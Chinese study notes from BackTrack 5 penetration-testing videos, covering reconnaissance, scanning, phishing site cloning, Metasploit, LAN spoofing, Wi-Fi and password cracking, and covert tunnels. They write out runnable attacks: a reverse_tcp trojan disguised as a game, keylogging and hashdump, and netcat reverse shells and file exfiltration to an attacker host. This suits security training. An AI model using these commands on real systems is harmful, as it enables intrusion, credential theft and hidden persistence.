BT5视频笔记
BackTrack 4: Assuring Security by Penetration Testing
BT 不是黑客程序,是安全渗透测试工具集,是安全检测工具集。
1.信息收集
A.dns信息收集
dnsenum
1.通过google搜索获取额外名字或子域域名
2.使用txt文件暴力破解猜测可能的域名条目
3.使用whois查询
4.反向查询
5.支持多重查询
dnsenum -f dns.txt --dnsserver ns1.abc.com abc.com -o out.txt
dnsmap
dnsmap abc.com -w wordlist.txt -c abc.csv
dnsmap可以输出为csv格式文件,可以用excle打开
dns服务器之间区域传送使用tcp 53
客户机到服务器之间使用udp 53
服务器之间的区域传送是认证的,使用dns工具时可能会尝试区域传送,大都失败。
B.路由信息收集
传统的路由收集使用:
traceroute www.abc.com (cisco/linux使用此命令)
tracert www.abc.com(windows使用此命令)
传统的traceroute效果不好,因为很多防火墙会把traceroute流量过滤掉。
cisco设备
traceroute ip
会使用udp协议的,高目的端口33434,ttl=1,
第二个包目的端口33435,ttl=2,
很多互联网防火墙会屏蔽掉高端口upd协议的数据包。
如果通过的话,经过的路由器会报ttl超时的icmp包,从而得到此路由的ip地址。
当到达目的地址时,也会回一个icmp数据包,内容为端口不可达。traceroute完成。
如果访问的是没有开放的tcp 端口,回复类型为reset。
windows平台
tracert
直接是发echo request,经过的路由回复ttl超时,目的地回复icmp reply。
以上两种tracert效果不好,高端口udp包会屏蔽,echo request 会屏蔽。
tcptraceroute
BT5使用特有的tcptraceroute,它发送的是TCP SYN包,目的端口80。
很少拒绝或阻断掉,ttl值由一开始递增。
tcptraceroute www.abc.com
收到syn/ack表示端口开放,到达,收到RST表示端口关闭,也是到达目的。
tctrace
类似于tcptraceruote命令。
tctrace -i eth0 -d www.abc.com
C.maltego
是一个开放源的智能信息收集工具。
1.收集公司组织关联到人
2.邮件地址
3.网站相关的人
4.社区网络关联到的人
5.电话号码关联到人
添加一个搜索—管理—添加搜索的角色—添加一个域名
2.扫描工具
a.主机发现
arping 对直连网络使用(LAN),使用arp request进行测试,判断一个特定ip是否在使用。跨网络不能用,直连网络非常有效。不使用ping的ICMP的echo request协议。
arping -c 3 10.1.1.1
fping 快速使用echo request进行ping,使用ping,快速扫描。
hping3 功能强大,可手动定制数据包,可发起dos攻击。
nbtscan 扫描windows主机netbios名字扫描一个ip地址范围的netbios名字信息。
nbtscan 10.1.1.1-254
nping
可以自定义数据包
nping -c 1 --udp -p 80 10.1.1.1
nping -c 1 --tcp -p 80 --flag ack 10.1.1.1
upd 端口不可达是icmp
tcp 端口不可达是reset
onesixtyone snmp扫描工具
用于找出设备上的SNMP Community字串,扫描速度非常快。
protos
protos -i eth0 -d 10.1.1.1
扫描主机支持的协议,比较好使的是针对路由器,探测主机开启哪些协议,不是服务。
b.操作系统指纹
p0f 被动的检测操作系统类型工具,通过流量检测。
cisco ios 用p0f来检测操作系统指纹,用于Cisco IPS 匹配威胁库
xprobe2 主动探测操作系统指纹
c.端口扫描
nmap 综合性的,并且特性丰富的端口扫描工具,是一个渗透测试者必备工具。
主机发现、服务版本检测、操作系统检测、网络追踪等功能。
nmap -v -n -sP 10.1.1.0/24 扫描存活主机
nmap -v -n -A 10.1.1.1
可以进一步探测开放的端口是什么服务。通过相应脚本去链接、探测服务类型。
可以自定义指纹,如果有一种设备是nmap不认识的,会生成一个指纹。
d.服务探测
amap 探测特定端口上运行的服务程序。
amap -bq 10.1.1.1 80
ike-scan
ike扫描工具,用于探测ipsec vpn服务器支持的策略。
sslscan
sslscan 10.1.1.2
3.漏洞发现
a.cisco工具
cisco auditing tool
扫描思科路由器一般性漏洞,老的bug,默认密码,snmp community字符串
CAT
b.snmp工具
c.http工具
burpsuit是一个功能强大的web应用安全工具。
burpsuite可以作为代理抓取http的数据包,甚至可以更改数据包。
比如修改远程控制的命令。
nikto 扫描由于服务器配置失误造成的漏洞
扫描web服务器存在目录及文件。
w3af 需手动安装
wafw00f 用于检测waf有没有存在,是哪一家的waf。
d.smb工具
e.nessus
非常知名的且功能强大的综合漏洞发现工具,有免费和收费版本。有linux和windows版本。
kali linux默认没有安装,需要手动安装。
4.社会工程学工具
比如:制造一个病毒,通过邮件发送给其他人。发送给指定人员针对性的攻击时鱼叉式网络钓鱼。
a.JAVA Applet Attack Method
setoolkit
SET 高级的功能强大的工具集。
vi config/set_config
METASPLOIT PATH=/pentest/exploits/framework3
修改默认路径为正确的安装路径
ETTERCAP=ON
ettercap打开用于DNS欺骗
EMAIL_PROVIDER=gmail.com
设置邮件服务器
JAVA_ID_PARAM=Java Server
插件名,写一个看起来靠谱的名字
SELF_SIGNED_APPLET=ON
支持自签名插件
最好配合dns欺骗,可以使用ETTERCAP
需要设置email服务器,如果需要发送邮件的话。
做好以后开始进行攻击。
./set
1.社会工程学攻击—》网页攻击—》java攻击—》克隆站点
客户端主动把shell送过来。
木马封装方式,杀毒软件会通过特征代码判断是病毒还是攻击。
把木马通过欺骗的方式让用户打开克隆的网站,通过java攻击
b.Credential Harvester Attack Method
2.社会工程学攻击—》网页攻击—》身份信息收集—》克隆站点
这是让用户通过假冒的邮箱网站输入用户名密码得到用户信息,而且收集到以后会转到正确网站,不让用户发现。
支持https
5.应用层攻击MSF
msfconsole 高级攻击工具套件,应用层攻击,支持开发,插件,可以升级,用于攻击新的漏洞
a.msfconsole
可以调用nmap进行扫描,把扫描结果存到msf的数据库
db_nmap -sV -n -o -v 10.1.1.1
直接在msf下执行nmap,结果不会加入到数据库。
db_autopwn
自动攻击
使用msf攻击的时候调用漏洞库。
sessions -i 1
getuid
run hashdump
到出账户密码的hash值
通过迁移到关键系统进程获得管理员权限。比如迁移到 explore.exe
ps 查看系统进程
migrate 1576
连接以后可以得到账号hash值,可以使用暴力破解软件算出来。
可以打开远程桌面,可以获得系统信息,可以查看系统进程。
可以键盘记录,创建用户。
keyscan_start
keyscan_dump
keyscan_stop
run getgui -e
打开远程桌面
run getgui -u admin admin
添加admin账户
使用linux下远程桌面工具
rdesktop 10.1.1.2:3389
破解密码
使用暴力破解程序破解微软密码,密码是hash值。
ophcrack -g -d ~/tables_xp_free_small/ -t ~/tables_xp_free_small/ -f ~/sam-new-test
Ophcrack是一个使用Rainbow table来破解视窗操作系统下的LAN Manager散列(LM hash)的计算机程序,它是基于GNU通用公共许可证下发布的开放源代码程序。
b.msf 离线攻击
msf在线攻击如果通过互联网以后就会有防火墙隔断,离线攻击就是利用社会工程学制造一个脚本让用户主动连接过来。
./msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=33333 X > /tmp/newgames.exe
当用户双击时会主动链接过来
msfconsole
本地建立一个服务器,等待客户端连接。
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST
set LPORT
exploit
进入等待状态
连接以后可以做第一个办法里的后续攻击。
6.局域网攻击
a.mac泛洪攻击
unknown unicast flooding
不知道目的的单播包
就是交换机收到目的mac地址不在cam表里的包,就会转发到所有的端口。
泛洪攻击就是利用交换机这个特性。
mac flooding attacks
制造大量随机伪装源的包发到交换机,交换机会把此条目添加到cam表里,当数量到达交换机最大容量时,就会把正常超时条目覆盖掉,合法主机条目超时后就被移除了,而且加不进来了。这样正常通讯的数据包经过交换机时交换机找不到正确的端口转发,就会向所有端口转发。这样攻击者就能收到数据包了。
macof 命令就是发送大量包,实际上是把交换机变成了集线器。
可以多开几个
dsniff 这个工具是专门用来抓取敏感数据包的。
解决办法,交换机端口绑定
b.cdp
yersinia -G
一个综合型的局域网攻击工具
可以打开图形化界面
攻击者可以建立大量cdp 邻居,消耗交换机的资源。
攻击者也可以获取交换机信息。
c.dhcp
黑客攻击使用yersinia 发送大量dhcp discovery的包请求地址。
让正常的dhcp服务器地址分配耗尽,然后黑客架设自己的dhcp服务器。
同时分配一个网关,让所有的流量经过自己。
d dtp
cisco 2950 3550 交换机接口默认启动了动态trunk protocol接口,2个交换机把网线一接就可以自动启动trunk,是个方便管理的设置。
对攻击者而言也可以方便启动trunk,启动trunk以后可以看到其他vlan 的流量。
也可以通过yersinia制造各种tag的数据包 。
dtp 动态trunk协议
e hsrp
可以使用yersinia 把hsrp的主用抢过来,becoming active (mitm)并且转发。
可以通过hsrp设置密钥来解决这个问题。
f.stp
让本机成为根
g.arpspoof
做arp欺骗
通过发送未请求应答,主动发送arp应答给目标主机和网关,让目标主机认为攻击者就是网关,让网关认为攻击者就是目标主机,实际上是双毒化arp
同时在攻击者上面启用路由功能,实现目标主机和网关之间的流量经过攻击者。
在攻击之前先把路由功能打开,默认情况下电脑是没有路由功能的。
echo > 1 /proc/sys/net/ipv4/ip_forward
启用linux路由功能。
arpspoof -t 10.1.1.1 10.1.1.2
欺骗1,说我就是2.
再启动一个窗口
arpspoof -t 10.1.1.2 10.1.1.1
欺骗2,说我是1.
然后启动dsniff 或者其他抓包工具或者用wireshark抓包。
解决办法是交换机DAI动态监控技术来抵御arp欺骗
h.ettercap
arp欺骗
功能强大的工具
图形化的
ettercap -G
添加目标1,目标2
然后开始arp毒化 arp poisoning,捕获连接。
i.ettercap
进行dns欺骗
跟刚才arp欺骗前面操作一样,先进性arp欺骗.
目标1是目标主机,目标2是网关
编辑
/usr/share/ettercap/etter.dns
把欺骗的条目添加进去。
在ettercap里,点击插件,管理插件,双击dns_spoof
使用set工具进行社会工程学攻击,克隆网站。
7.密码破解
a.无线密码破解
airmon-ng start wlan0
开始对wlan0监控
airodump-ng -w test mon0
开始抓包保存为test
airodump-ng -c 5 -w test mon0
5号信道监控
监控一段时间,查看到关联的客户端
进行deauth攻击
aireplay-ng -0 5 -a 00:16:46:c5:f2:c0 -c 00:1e:65:57:77:b0 mon0
-a 后跟ap的mac地址,-c后跟客户端mac地址
做5次deauth攻击,然后就能看到握手数据包。
然后暴力破解
aircrack-ng -w /wordlists.lst test-*.cap
选择握手过程的包
刚才的抓包会产生test-1,test-2等数据包文件。
b.cisco密码破解
在线密码破解,就是使用软件通过网络模拟登录暴力破解账户信息。
ncrack -U user.txt -v -P pass.txt telnet://10.1.1.2
ncrack --user cisco -v -P pass.txt telnet://10.1.1.2
ssh也可以支持,https也支持
8 维持访问
a. dns隧道技术
10.1.1.100 bt5
10.1.1.101 bt5
10.1.1.1 dns服务器
10.1.1.2 路由器
需要dns映射,主机映射到10.1.1.100
把ssh等其他应用封装到udp 53 的流量上,貌似就是dns 查询。
而且不直接把udp 53流量指向跳转主机。
dns2tcpd.conf
listen = 0.0.0.0
port = 53
chroot = /tmp
domain = dnstunnel.name.org
resources=ssh:10.1.1.2:22
在本地所有地址监听,监听53端口,任何用户都可以连接,
./dns2tcpd -F -d 1 -f dns2tcpd.conf
启动服务进行监听,使用指定配置文件。
以上配置是跳转主机。
客户机上配置
测试能不能提供服务
./dns2tcpc -z dnstunnel.name.org
下面修改客户端配置文件
dns2tcpc.conf
domian = dnstunnel.mingjiao.org
resource = ssh
local_port = 2222
定义本地端口2222,当使用ssh连接本地端口2222的时候,就是用tunnel技术连接dnstunnel.name.org域名
启动客户端 ./dns2tcpc -c -f dns2tcpc.conf
listening on port : 2222
ssh -p 2222 cisco@127.0.0.1
ssh连接本地2222端口
b.ping隧道技术
ptunnel
服务器端输入此命令就是打开ping tunnel
客户端 ptunnel -p 10.1.1.100 -lp 2222 -da 10.1.1.2 -dp 22
客户端建立隧道,连接本地2222端口的时候ping 隧道到10.1.1.100,然后服务器转到10.1.1.2 的22端口。
然后在客户端输入ssh -p 2222 cisco@127.0.0.1
如果抓包会看到echo request 数据包,里面内容加密。
c.ssl隧道技术
服务器端配置
stunnel.conf
accept = 2323
connect = 10.1.1.2:23
创建临时文件夹
启动服务器端:stunnel /etc/stunnel/stunnel.conf
执行后没有提示,但已经在后台运行。
客户端配置:
stunnel.conf
accept = 2323
connect = 10.1.1.100:2323
当连接本地2323端口时,转到10.1.1.100的2323端口
客户端启动: stunnel /etc/stunnel/stunnel.conf
然后在客户端执行:telnet 127.0.0.1 2323
stunnel客户端服务端的配置好像相同,只是数据流不一样。
d.代理服务器3proxy
3proxy.cfg 新版kali没有
external 10.1.2.1
internal 10.1.1.1
tcppm 80 10.1.1.1 80
当连接外部地址10.1.2.1的80的时候,转到内部地址10.1.1.2的80上
3proxy cfg /cfg/3proxy.cfg
查看是否工作
netstat -nap | grep 80
可以用在网络设备开启http服务的情况。
e.netcat
只有60k大小,也叫瑞士军刀。功能很多很多,黑客必备工具。左后门比较合适因为比较小。
netcat拥有很多功能,可以扫描端口,可以连接ftp服务器。
nc -v -n -z 10.1.1.1 1-1024
ftp连接
nc 10.1.1.1 21
指定21端口就是使用ftp协议进行连接。
输入的应该是应用层命令
PORT 10,1,1,101,4,38
输入PORT以后服务器会跟客户机建立一个第二信道,通过第二信道执行一些命令
nc http 请求
nc 202.102.1.101 80 (以下内容手敲进去)
GET / HTTP
nc smtp
用nc发送邮件
nc pop3收邮件
通过nc制造后门,有windows版,也有linux版
nc.exe -d -L -p 1234 -e cmd.exe
启动一个服务端,端口为1234,当有连接进来时,把cmd.exe给你。
L是断开后可以重连,l断开后不能重连
然后在客户端这么连接:nc 10.1.1.1 1234
第二种是自己作为服务器,让中标的主动连过来。
在本地: nc -l -p 1234
在本地1234端口等待连接。
肉鸡上执行
nc.exe -d 10.1.1.101 1234 -e cmd.exe
把cmd.exe送给10.1.1.101的1234
通过nc传文件
nc.exe -u 10.1.1.101 53 < test.txt
把test.txt通过udp 53传给10.1.1.101
本地
nc -l -u -p 53 > file.txt
本地udp 53端口进行侦听,把文件放到file.txt
netcat容易被杀毒软件发现,但是源代码是公开的,可以修改。
中继功能
nc可以中继,跟代理服务器差不多,同时可以抓包。
首先改配置文件。
telnet_relay (要有可执行权限)
#!/bin/bash
nc -o telnet.hack.out 10.1.1.2 23
#输出到telnet.hack.out
然后执行
nc -l -p 23 -e telnet_relay
就是在本地侦听23号端口,转到telnet_relay
cryptcat
nc提供了强大的功能,但是有个缺点是流量是明文。
此工具对流量进行加密,用法一样。